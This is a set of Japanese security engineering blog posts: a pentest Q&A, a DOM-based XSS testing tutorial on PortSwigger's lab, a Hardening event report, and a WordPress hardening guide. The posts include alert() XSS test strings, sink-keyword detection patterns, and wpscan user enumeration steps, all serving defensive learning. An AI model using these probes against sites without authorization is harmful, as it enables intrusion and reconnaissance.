川口データの取得がゴールの場合、できなかったことはないのはすごいいい答えです。方法は無限にあるからというのと一緒で、分かる気がするんですよ。いろんな企業にお会いすると、ルスランさんにやられることを期待する企業の方が時々いるんですけど、ほんとにみんな取られたいんだなという。 簡単に言うと、時間と予算の問題もあるので、我々が例えばスコープとしてフィッシングも入れますか、内部フィッシングを入れますかとか内部IRを突破しながらやりますかとか、IRに捕まったらどうしますかとか、無限の質問があるんですけど、IRに捕まったら無意味みたいなシステムの脆弱性だけを見るんだったら短縮の時間でいろいろやってできましたということを見せればいいし、IRが強いとかいう会社ならば、じゃあIRのままでやってみましょう、捕まることは可能か不可能かというところを見てみましょうというケースもある。ルスラン 川口ここでIRというのは、SOCのチームがいますよとか、CSIRTとの連携ができてますとか、それも含めてのIR？ はい。例えば社内のSOCがあるとか、誰かレスポンスできるような守り側のチーム、セキュリティチームみたいな人たちがいるとか、アウトソーシングしている、委託のSOCがいるとか、いろいろあったりする。ルスラン 牧田ペンテストの目的がセキュリティを試すことというお客様もいますし、ブルーチームとか、IR、セキュリティチームがちゃんと運用できているか確認したいお客様もいます。ノイズが多いじゃないですか、誤検知とか、アラート来たけど違ったとか、そんな時に1回本物のやつを入れてみる。本物のやつが来た時に、24時間以内に検知して対策できるかどうか、そういう目的でやられるお客様もいらっしゃる。 質問３：多要素認証のあるWebサイトの認証を通すのが毎回面倒です。ユーザビリティを落とさないセキュリティ強化はありませんか？ 川口確かに、毎回多要素認証求めてくるなよ、というのはやる側もすごく思うところ。このブラウザを覚えて欲しい、とすごく思うけど、多要素認証が全部入れば言うことないということだけど、それはなかなか社内で浸透させにくいし、開発者に関しても開発効率が落ちるから何とかしてくれと言われそうだけど、お客様との会話や報告会でどういうアドバイスをされるんですか？ セキュリティ＝ユーザビリティではないからですね、残念ながら。ルスラン 牧田攻撃者目線を知ると、ちょっと我慢できるようになるかもしれませんね。例えば、パスワードの話に戻るけど、IDとパスワードだけの認証の場合、いろいろなサービスから漏れたパスワードをそのまま使っている方々もいっぱいいるし、それをちょっと1文字変えてとかでできることもあるし、Active Directoryのドメインコントローラに侵入できて、ハッシュ値を取って、8桁だと何時間で解けるんでしたっけ？ ハッシュの種類によるけど、Windowsであれば我々のサーバーなら数時間。ルスラン 牧田むかし、パスワードを8桁にしようよ、6桁はだめよ、という話があったけど、8桁のパスワードで数時間。どうしてもパスワードは漏れる。Emotetのように、ブラウザに保存したパスワードはダンプできてしまうんですよね。全部保存をしていたパスワードとIDが漏れてしまう前提で考えると、やっぱり我慢しようかという風に思えるかもしれませんね。 川口ブラウザにパスワードを覚えさせるのは、非ITの人にはしょうがないという気がするけど、IT業界の人にはパスワードマネージャーを会社で導入してなんとかしたいという気もしますよね。 牧田ブラウザのパスワードをダンプする、そうすればパスワードマネージャーを使いましょうという。恐ろしいですよ、すべての履歴をとられてしまう。 パスワードマネージャーも端末で実行できるんであれば、ダメかなと。ものによって、例えばシステム権限で動いていたりするので、権限昇格をしない限りはまだマシであったりすることもあるんですけど、我々がやるときは権限昇格が必要だったら、必要に応じてゼロデイを探して出してやるというところもあったりする。時間が許す限りはやれるけど、テストの期間はそれほど長くないので、3日程度で見つけられるのなら探すんですけど、それ以上かかるものは期間内には触らない。ルスラン 川口ペンテスターがゼロデイを見つけてくるとさらりと言うのは衝撃的だと思う。 牧田次回の話題にしたいんですけど、セキュリティ製品って権限が高いじゃないですか、セキュリティ製品にゼロデイがあるととんでもないことになる。我々一般の人はセキュリティ製品を信じるけど、ペンテスターは、2～3日で見つけられるのならゼロデイ見つけておこうか、そんな感じ。 あとは多要素認証について追加で言うと、各サイトに与える認証とかがあると便利だけど、SSOはあるにしてもその中で多要素認証みたいなものを実現できるのであればいいと思ったりして、例えばAzureのIdPを使って、いろんなアプリケーションにテストするけど、それはそれでよいけど、ただし、何を追加して欲しいかというと、例えば一部のアプリを絶対に守らなければいけない、例えばAWSの管理コンソールとかAzureの管理コンソールとかがあったりしたら、そこだけに例えばFIDOの確認を追加する、SSOされるときにはそこにアクセスする瞬間、多要素認証を聞かれる、多要素認証もできる限りFIDOにする、というのを個人的におすすめだと思う。ルスラン さいごに ご視聴・ご参加いただき、ありがとうございました。参加いただいた方からは参考になりました、興味深かった、またやってほしいですなど、温かいコメントをたくさんいただき、大変嬉しく思っております。重ねて御礼申し上げます。 映像はアーカイブ公開しておりますので、以下より是非ご視聴ください。 https://youtu.be/TzBleQoIENg

こんにちは。GMOインターネット セキュリティエンジニアの関です。今回はクロスサイトスクリプティングの手法の一つ、DOM based XSSの検査の手法について、PortSwiggerが公開しているWeb Security Academyのテストページを使って解説していきます。※Web Security Academyはアカウント登録をすれば誰でも無料で使えます。 1.　注意事項 検査により、意図せずにシステムの停止や不具合を引き起こしてしまう可能性があるため、紹介する手順を試してみたい場合は本番に影響を及ぼさない検証環境か、それ専用に作られたテストサイトでの作業をお勧めします。自組織が管理しないWebアプリケーションへの検査は、場合によっては不正アクセスとして違法となる可能性があります。 2.　クロスサイトスクリプティングとは クロスサイトスクリプティングとは、リクエストヘッダやパラメータに含まれる情報を画面に出力する処理にエスケープ不備があり、第三者（攻撃者）が用意した悪意あるスクリプトが埋め込まれた結果、意図しない処理を実行されてしまう脆弱性です。 想定される被害として、偽ページの表示や認証情報の奪取があります。 クロスサイトスクリプティングには以下3つの分類があります。 反射型XSS蓄積型XSSDOM based XSS 上記のうち、DOM based XSSはJavaScriptから動的にHTMLを操作するアプリケーションにおいて動作します。正規のスクリプトの動きを悪用し、不正なスクリプトを実行させることが特徴です。 自動の脆弱性診断などでよくあるパターンでは、対象のWebサーバに対して検査コードを含むリクエストを発行し、そのレスポンスの内容によって脆弱性が存在するかを調べますが、DOM-based XSSではクライアント上でJavaScriptが動作するまではXSSが発生しません。そのため、ツールによっては検知が難しく、手動で検証が必要な脆弱性となります。 3.　検出パターン / 例 今回は「BurpSuite」というローカルプロキシツールを使って検査していきます。セットアップや基本的な使い方について解説している記事などは検索すれば多数ヒットしますので、ここでは解説の対象外とします。※BurpSuite自体は無料でダウンロードできます。 まず、検査の際には以下文字列がレスポンス内にあることをトリガーとします。（ツールによっては下記の文字列がヒットすればDOM based XSSの可能性ありとして検出されるものもあります。） innerHTMLdocument.writejavascriptlocation.hrefevalsetTimeoutsetIntervalFunctionjQuery　他 検査文字列は以下の通りです。 javascript:alert(1)"><svg onload=alert(1)><script>alert(1)</script>　他 ※なお、トリガーとなる文字列や検査文字列は一例となります。 4.　検査手順詳細 ①　検査したい目的の画面まで遷移します。 ②　今回は検索処理なので、適当な文字列を挿入し検索を実行します。　　（SOCtestと検索してみました。） →左側の検索結果画面には、「0 search results for 'SOCtest'」と表示されています。 ③　Burp上で実際のレスポンスrawデータを確認してみます。 →対象のレスポンス内で「SOCtest」と検索してみると、0 matchesとなっています。 ④　レスポンスrawデータの中で、検索結果表示に該当する箇所を探してみます。　　今回は下記のように定義されていました。 ⑤　呼び出されているsearchMessageをもう一段掘り下げて確認してみると、scriptでこのように記載されています。 →innerHTMLとあるため、DOM-based XSSが発生する可能性があります。（トリガーパターン参照） ⑥　XSSの検査コードを挿入してみます。「"><svg onload=alert(1)>」（検査文字列パターン参照） →javascriptのポップアップが表示されたことが分かります。 ⑦　ここで改めて、レスポンスrawデータを確認してみますが、　　"><svg onload=alert(1)>は出力されていないため、ツールによっては自動検知が困難となります。 5.　おわりに 今回は、DOM based XSSの検出方法について紹介してきました。攻撃の特性上、ツールでは検出しにくいという点は説明した通りですが、そのほかにもWAFやブラウザのXSSフィルタでもブロックしにくい厄介な脆弱性です。 まずはこういった攻撃手法があることを認識することが第一歩だと思います。 具体的な対策手法や、もっと深堀して検査したい！という方は、調べてみるとチートシートやより詳細に解説している記事がありますので是非ご参照ください。

こんにちは、GMOインターネットの國分です。今回は2021年11月17日~20日、27日に実施されたHardeningイベントについて、魅力をお伝えできたらと思います。 はじめに Hardeningとはコンピューティングシステムのセキュリティを強化、堅牢化することの総称として使われ、今回参加のHardening　2021 Active faultでは仮想Webショップを経営側、インフラ側両方をロールプレイを行いながら、堅牢化を疑似体験するイベントが行われました。 実際のWebショップを触って作業するのは開催5日間のうち1日のみで、他日程についてどんなプログラムが展開されたのかなどをレポートいたします。 【参考サイト】https://wasforum.jp/hardening-project/ チームビルディング Hardeningイベントはチーム戦です。応募した人の中から運営側が6人～8人のチーム編成で割り振られます。約1か月前にチーム確定についてのメールが届き、ミッションが開始されました。 チームにもよりますが、大体イベント開催までの1カ月間で週1回～2回のミーティングを実施して、様々なミッションやイベントに向けた事前準備を行います。 TODO チームリーダー、福リーダーの選定チーム名の決定チームフラッグの作成（Zoom背景やロゴマーク）前回資料からの対策案策定経験者からの事前共有会稟議の書き方の勉強スキルマップの作成担当業務の割り振りマーケットプレイス購入品と落札額の決定インシデント対応フローの作成事前シミュレーション 比較的簡単なことから、時間がかかりそうなことまで事前に準備しなければならないものは、多岐にわたりとても1人ではやりきれないタスク量でした。 今回はオンライン開催だったこともあり、学生から社会人までの幅広い年齢層、かつ外国からも参加されている方もいらっしゃいました。そのため、チーム全員がMTGできる時間帯を合わせてミッションを行うのはとても大変でした。 欠席者が出た場合のフォロー、MTGの際の発言しやすい雰囲気づくり、このあたりがチームの一体感を生むために必要になってきたように感じます。 マーケットプレイスの活用 イベントの2日前には、マーケットプレイスの説明がありました。マーケットプレイスでは、オークション形式でセキュリティ製品を購入することができます。各ベンダーの皆さんがセキュリティ製品のプレゼンを行い、どのセキュリティ製品を獲得して、イベント当日に挑むかの参考になりました。 ※一部このプレゼンの前に提供される製品もありました。また、公式のマーケットプレイスには存在しない、ランサムウェア復旧サービスもありました。 FireWallWebAplicationFireWall(WAF)エンドポイントセキュリティセキュリティ情報サービスJPCERT/CC 前日準備 前日になるとサーバー構成図、ネットワーク図、ミッション、ルール等の情報が記載された資料が配られます。この日になって、やっとどんなOSやどんなサーバー構成なのかが判明するので、担当サーバーを決めたり、初動対応に必要な資料作成に入ります。 今回は前回参加者から事前に「こんなFirewallじゃない？」との共有をうけ、事前学習していたのですが、実際は予想のFireWallとは別のものが登場し急遽その対応方法を調査して、ルール投入方法とバックアップ方法を調査したり。また、接続に関しても特定のソフトウェアで接続テストしていたが別のソフトウェアに変更になったりと色々想定と違っていました。 前日にバタバタとせわしなく、多くの対応に追われながらイベント準備を進めていきました。 イベント当日 イベント当日の9時にはチーム全員がZoomに集合し、全員いることが確認されたチームから競技環境に入り、Hardeningが始まります。 サーバー担当 パスワードの変更各種バックアップ不審なファイルの調査、隔離、削除不審なプログラムの調査、停止FireWallの設定セキュリティ製品ベンダー対応インシデント調査、対応 Web担当 マーケットプレイスで購入した商品の稟議処理購買処理Webショップの修正在庫管理発送業務メール対応広報対応 イベント当日のランキングはYoutubeライブで配信されていますが、対応に追われなかなか見れない。 サーバーは24台、WebShopは4種類あり、7人のチームでしたが基本いつも人が足りない状態でした。それぞれのタスクを各人員が行っている中、Webショップは攻撃され、Webショップが止まったり、Webショップのページが改ざんされたりのインシデントが発生し、その対応を行うなか、「Web担当はインシデントの説明」、「サーバー担当は証跡の作成」を求められるので競技時間で与えられた8時間はあっという間に過ぎていきました。 Softening Day Softening Dayでは、Hardening当日に実施した内容発表する場と、攻撃側の種明かしの日になります。今回はオンラインとオフライン混合で行われ、発表の際に変身する人がいたり、独唱する人が居たりと、予想の上を行くおもしろい発表会でした。 各チームの対応を聞くことで自分たちに何が足りなかったのかも分かる場となっているので、自分たちが気が付かなかったり、見つけられなかったインシデントの内容が聴けるので、どのチームの発表も参考になります。 参加証明書も貰えます。※名前付きのものも別途貰えます。 さいごに 止めてはダメなWebShop、どうして増えないサブスクリプションの人数、IP直で来ないでよ攻撃者等々、イベント当日は色々ありましたが、振り返るとあっというまに時が過ぎていき、各人それぞれ何が足りないかを認識できる特別な時間になりました。インシデントの経験がない人は経験が積め、経験がある人はあの時できなかった対応が今回出来るぞと意気込めるそんなイベントです。セキュリティに興味がある人は経営側、システム側両方の対応が体験できるこのイベントは、どんなセキュリティ参考書よりも記憶に残り、これからの糧になるイベントだと思います。ちょっとでも興味を持ってくれたら、ぜひ参加して爪痕を残してくれればと思います。

こんにちは、新里です。ここでは人気があるCMSであるWordPressを実際にサーバー上に立てて、セキュリティスキャン・対策などを簡単に紹介します。 環境 まずは適当にサーバーを用意してWordPressを動作させます。環境は以下の通りです。 Ubuntu : 20.04WordPress ：5.8.1(MariaDB) sudo apt install mariadb-client mariadb-server apache2 php php-mysql certbot python3-certbot-apache cd /var/www/html wget https://ja.wordpress.org/latest-ja.tar.gz tar -zxvf latest-ja.tar.gz 各種インストールしてDBの作成・WordPressのセットアップを行った後、サイトを見てみると、デフォルトの投稿があります。とりあえずWordPressをサクッと動かすことができました。テスト投稿はあっても無くても良いので、WordPressにログインしてテスト投稿を消してまっさらな状態にしておきます。 wpscanで確認する デフォルトで立ち上げたWordPressのセキュリティスキャンを行ってみます。ここではよく利用されるwpscanを利用して行ってみます。ドメインは便宜上hogehogeとしています。 # dockerで実行 docker run -it --rm wpscanteam/wpscan --url https://hogehoge --enumerate u _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.19 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: https://hogehoge/ [xxx.xxx.xxx.xxx] [+] Started: Wed Oct 20 08:38:53 2021 Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.41 | Found By: Headers (Passive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: https://hogehoge/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] WordPress readme found: https://hogehoge/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] Upload directory has listing enabled: https://hogehoge/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: https://hogehoge/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 5.8.1 identified (Latest, released on 2021-09-09). | Found By: Rss Generator (Passive Detection) | - https://hogehoge/index.php/feed/, <generator>https://wordpress.org/?v=5.8.1</generator> | - https://hogehoge/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.8.1</generator> [+] WordPress theme in use: twentytwentyone | Location: https://hogehoge/wp-content/themes/twentytwentyone/ | Latest Version: 1.4 (up to date) | Last Updated: 2021-07-22T00:00:00.000Z | Readme: https://hogehoge/wp-content/themes/twentytwentyone/readme.txt | Style URL: https://hogehoge/wp-content/themes/twentytwentyone/style.css?ver=1.4 | Style Name: Twenty Twenty-One | Style URI: https://wordpress.org/themes/twentytwentyone/ | Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.4 (80% confidence) | Found By: Style (Passive Detection) | - https://hogehoge/wp-content/themes/twentytwentyone/style.css?ver=1.4, Match: 'Version: 1.4' [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 <=================================================================================================================> (10 / 10) 100.00% Time: 00:00:00 [i] User(s) Identified: [+] admin | Found By: Wp Json Api (Aggressive Detection) | - https://hogehoge/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) [!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register [+] Finished: Wed Oct 20 08:38:57 2021 [+] Requests Done: 53 [+] Cached Requests: 7 [+] Data Sent: 14.086 KB [+] Data Received: 403.391 KB [+] Memory used: 199.523 MB [+] Elapsed time: 00:00:03 適当にadminユーザーを作成した、"admin"が判明していますね。これは投稿してあるWordPressのREST API（wp-json）からユーザ一覧を取得することができています。他にもApacheのバージョン、WordPressのバージョン、利用しているプラグインなど一通り出てきました。バージョンが判明すると、対象となるバージョンの脆弱性から攻撃を受けてしまうので、あまり良い気がしません。以下、簡単に対策を行います。 HTTPヘッダからバージョンを消す HTTP headerServer: Apache/2.4.41 まずはこの部分を見せないようにします。 # /etc/apache2/conf-enabled/security.conf ServerTokens Prod # /etc/php/7.4/apache2/php.ini expose_php = Off readme.htmlを削除する デフォルトではWordPressをインストールしたディレクトリに"readme.html"があります。ログイン画面へのURLへの記載があったりするので削除しておきます。 Indexesを無効にする 何もしないと/wp-contents/uploads/配下にアクセスするとファイル一覧が見れてしまいます。これはちょっと良くないですね。 そこで、Apacheもしくは.htaccessの設定で以下を設定しておきます。 Options -Indexes ログイン画面 何もしないとWordPressの管理画面に直接アクセスすることができます。先にユーザー名が判明しているので、ユーザー名を使った辞書攻撃や、パスワード再発行から当該ユーザーに対してパスワード変更通知メールを送信することができたりもします。 そこで管理者画面にアクセスする時は、何個か対策を用意しておきます。これらは利用しているWordPressの環境に合わせて行います。 セキュリティのプラグインを入れて画像認証（CAPTCHA）BASIC認証を使う特定のIP以外からのアクセスはブロック セキュリティプラグインを使う ここではSiteGuardというWordPress向けのプラグインを利用します。SiteGuardを使うとログイン画面の制御の他に、wpscanで指摘されたREST APIを無効にしてユーザー名の取得を防ぐことが出来ます。WordPressのプラグインからSiteGuardを指定してインストールして、ログインページの設定を行います。 とりあえずデフォルトの設定にして変更を保存しておきます。そして管理画面にアクセスするとCAPTCHAの指定が出てきます。他にも一定回数のログイン試行で失敗するとロックする仕組みや、ログインURL（wp-login.php）を変える機能など、機能が充実してます。WordPressのプラグインを使って、簡単にセキュアにする時は良いでしょう。 他にも管理画面にBASIC認証をかけたり、特定のIPからのみアクセス可能にする(例えば社内のみからアクセス可能)といった設定をすることで、不意のログインやアクセス対策をすることが出来るでしょう。 おまけ SiteGuardには前述したREST APIを無効化する機能があります。WordPressはREST APIで様々な情報にアクセスできます。ユーザー名・記事・アップロードしているファイルなどです。これらの情報にアクセス出来るため、意図しないファイルアップロードがアクセスされる可能性があります。実際に行って見てみましょう。 適当にExcelファイルを用意する。WordPressにファイルをアップロードする 手順1：適当にExcelファイルを用意する ここではサンプルとして適当なExcelファイルを用意します。PDFや画像ファイルなどでも構いません。 手順2：WordPressにファイルをアップロードする 　用意したファイルをWordPressにアップロードします。 ここではファイル(private_items.xlsx)をWordPressにアップロードしただけで、まだ記事は何も公開されていない状態です。 公開した記事が無い状態でファイルをアップロードしただけなら、そのファイルは見られないと通常は思うはずです。しかし、アップロードしたファイルは実はすでに見える状態になっています。ここでWordPressにログインしていないユーザーでREST APIをブラウザから叩いて見てみましょう。URLは"サイト名/wp-json/wp/v2/media"などでアクセス可能です。 先程アップロードしたファイルが見えてきました。ここで実際にこのファイルのURL（https://wp〜/wp-content/uploads/2021/11/private_items.xlsx）にアクセスすると、先程アップロードしたファイルを実際に見ることが出来ます。誤ってアップロードしたファイルや不意にアップロードしたファイルなど、REST APIを利用することで、公開・非公開に関わらず、記事で使ってなくてもファイルのURLを特定して見ることが出来ます。 このようなREST APIの利用はSiteGuardの"REST API無効化"で防ぐことが出来ます。この機能を有効にすると、先程のWordPressのREST APIのURLを見にいってもアクセスすることが出来なくなります。またREST API経由でのユーザーIDの取得についても防止できるというメリットがあります。WordPressは非常に手軽に利用できて、豊富なプラグイン・テンプレートがあるので誰でも簡単に利用できます。ただ、便利で簡単に使える反面、セキュリティにも一定の配慮をした方が良いでしょう。